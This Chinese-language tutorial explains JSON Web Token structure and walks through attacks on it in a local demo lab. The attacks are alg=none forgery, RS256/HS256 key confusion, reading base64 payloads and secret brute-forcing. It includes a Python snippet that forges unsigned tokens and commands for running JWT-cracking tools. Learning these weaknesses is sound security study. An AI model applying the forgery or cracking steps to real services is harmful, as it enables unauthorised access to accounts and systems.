您好,登錄后才能下訂單哦!
本文小編為大家詳細介紹“JWT安全怎么配置”,內容詳細,步驟清晰,細節處理妥當,希望這篇“JWT安全怎么配置”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學習新知識吧。
傳統的session認證,隨著不同客戶端用戶的增加,獨立的服務器已無法承載更多的用戶,而這時候基于session認證應用的問題就會暴露出來.例如而隨著認證用戶的增多,服務端的開銷會明顯增大,這樣在分布式的應用上,相應的限制了負載均衡器的能力,因為是基于cookie來進行用戶識別的, cookie如果被截獲,用戶就會很容易受到跨站請求偽造的攻擊。
基于token的鑒權機制類似于http協議也是無狀態的,它不需要在服務端去保留用戶的認證信息或者會話信息。這就意味著基于token認證機制的應用不需要去考慮用戶在哪一臺服務器登錄了,這就為應用的擴展提供了便利。
2定義
JWT(JSON Web Token) 是一個非常輕巧的規范,通過這個規范,可以傳遞可靠的安全信息,JWT常被用于前后端分離,可以和Restful API配合使用,常用于構建身份認證機制。
Json web token (JWT), 是為了在網絡應用環境間傳遞聲明而執行的一種基于JSON的開放標準((RFC 7519).該token被設計為緊湊且安全的,特別適用于分布式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務提供者間傳遞被認證的用戶身份信息,以便于從資源服務器獲取資源,也可以增加一些額外的其它業務邏輯所必須的聲明信息,該token也可直接被用于認證,也可被加密。
3組成
一個字符串由頭部,載荷,簽名三部分組成。
頭部(Header)用于描述JWT的最基本的信息,其所用的簽名與算法類似這樣{ "typ": "JWT", "alg": "HS256"}通過base64 編碼之后,形成頭部
載荷(Payload)也是json形式的,官方定義的有如下六個部分{ "sub": "1", //該JWT所面向的用戶 "iss": "http://localhost:8000/auth/login", //該JWT的簽發者 "iat": , //iat(issued at): 在什么時候簽發的token "exp": , //exp(expires): token什么時候過期 "nbf": , //nbf(not before):token在此時間之前不能被接收處理 "jti": "" //JWT ID為web token提供唯一標識}當然,開發者可以定義自己使用的數據。以上json數據base64編碼之后,形成載荷。
簽名將上面的兩個編碼后的字符串都用句號.連接在一起 提供一個密鑰(secret)用頭部所規定的算法加密就可以形成一個新的字符串同樣,需要base64編碼
以上將三個部分用 .拼接在一起,就形成了一個完整的JWT令牌
可上面介紹了那么多,大家依然不知道JWT到底是干嘛的,稍微介紹一下JWT的驗證方式方式,大家應該就應該會對JWT的運用有所了解了
服務器應用在接受到JWT后,會首先對頭部和載荷的內容用同一算法再次簽名。如果服務器應用對頭部和載荷再次以同樣方法簽名之后發現,自己計算出來的簽名和接受到的簽名不一樣,那么就說明這個Token的內容被別人動過的,我們應該拒絕這個Token
上面說了JWT的組成,我們的目的是研究其安全性既然這是一個驗證的機制,那么安全問題主要就是非授權訪問,也就是說要繞過這種驗證機制,已知其結構,數據一般也是存在本地端,我們唯一不知道的就是加密算法的密鑰,這樣說來,有如下幾種安全問題。
1修改算法為none
修改算法有兩種修改的方式其中一種就是將算法就該為none
后端若是支持none算法
header中的alg字段可被修改為none
去掉JWT中的signature數據(僅剩header + '.' + payload + '.') 然后直接提交到服務端去
2修改算法RS256為HS256
RS256是非對稱加密算法,HS是對稱加密算法
如果jwt內部的函數支持的RS256算法,又同時支持HS256算法
如果已知公鑰的話,將算法改成HS256,然后后端就會用這個公鑰當作密鑰來加密
3信息泄露
JWT是以base64編碼傳輸的,雖然密鑰不可見,但是其數據記本上是明文傳輸的,如果傳輸了重要的內容,可以base64解碼然后獲取其重要的信息。
4爆破密鑰
原理就是,如果密鑰比較短的話,已知加密算法,通過暴力破解的方式,可以得到其密鑰。
搭建方式
我搭建的環境為php7
安裝了composer
直接用如下的命令進行搭建漏洞環境
git clone https://github.com/Sjord/jwtdemo/
cd jwtdemo
composer install
php -S 0.0.0.0:8000 -t public
然后直接訪問
127.0.0.1:8000/hs256.php
環境就搭建成功了。
payload如下
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
通過如上代碼,可以構造任意的密鑰為none的paylaod,從而繞過后端的檢查,修改與RS256的方法與此類似,不再贅述。
1JohnTheRipper
在爆破JWT的時候,可以用如下如下工具
https://github.com/magnumripper/JohnTheRipper
使用的方法如下
git clone https://github.com/magnumripper/JohnTheRipper
cd JohnTheRipper/src
./configure
make -s clean && make -sj4
cd ../run
./john jwt.txt
2c-jwt-cracker
C語言的破解工具
https://github.com/brendan-rius/c-jwt-cracker
使用方法如下
make
make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
讀到這里,這篇“JWT安全怎么配置”文章已經介紹完畢,想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領會,如果想了解更多相關內容的文章,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。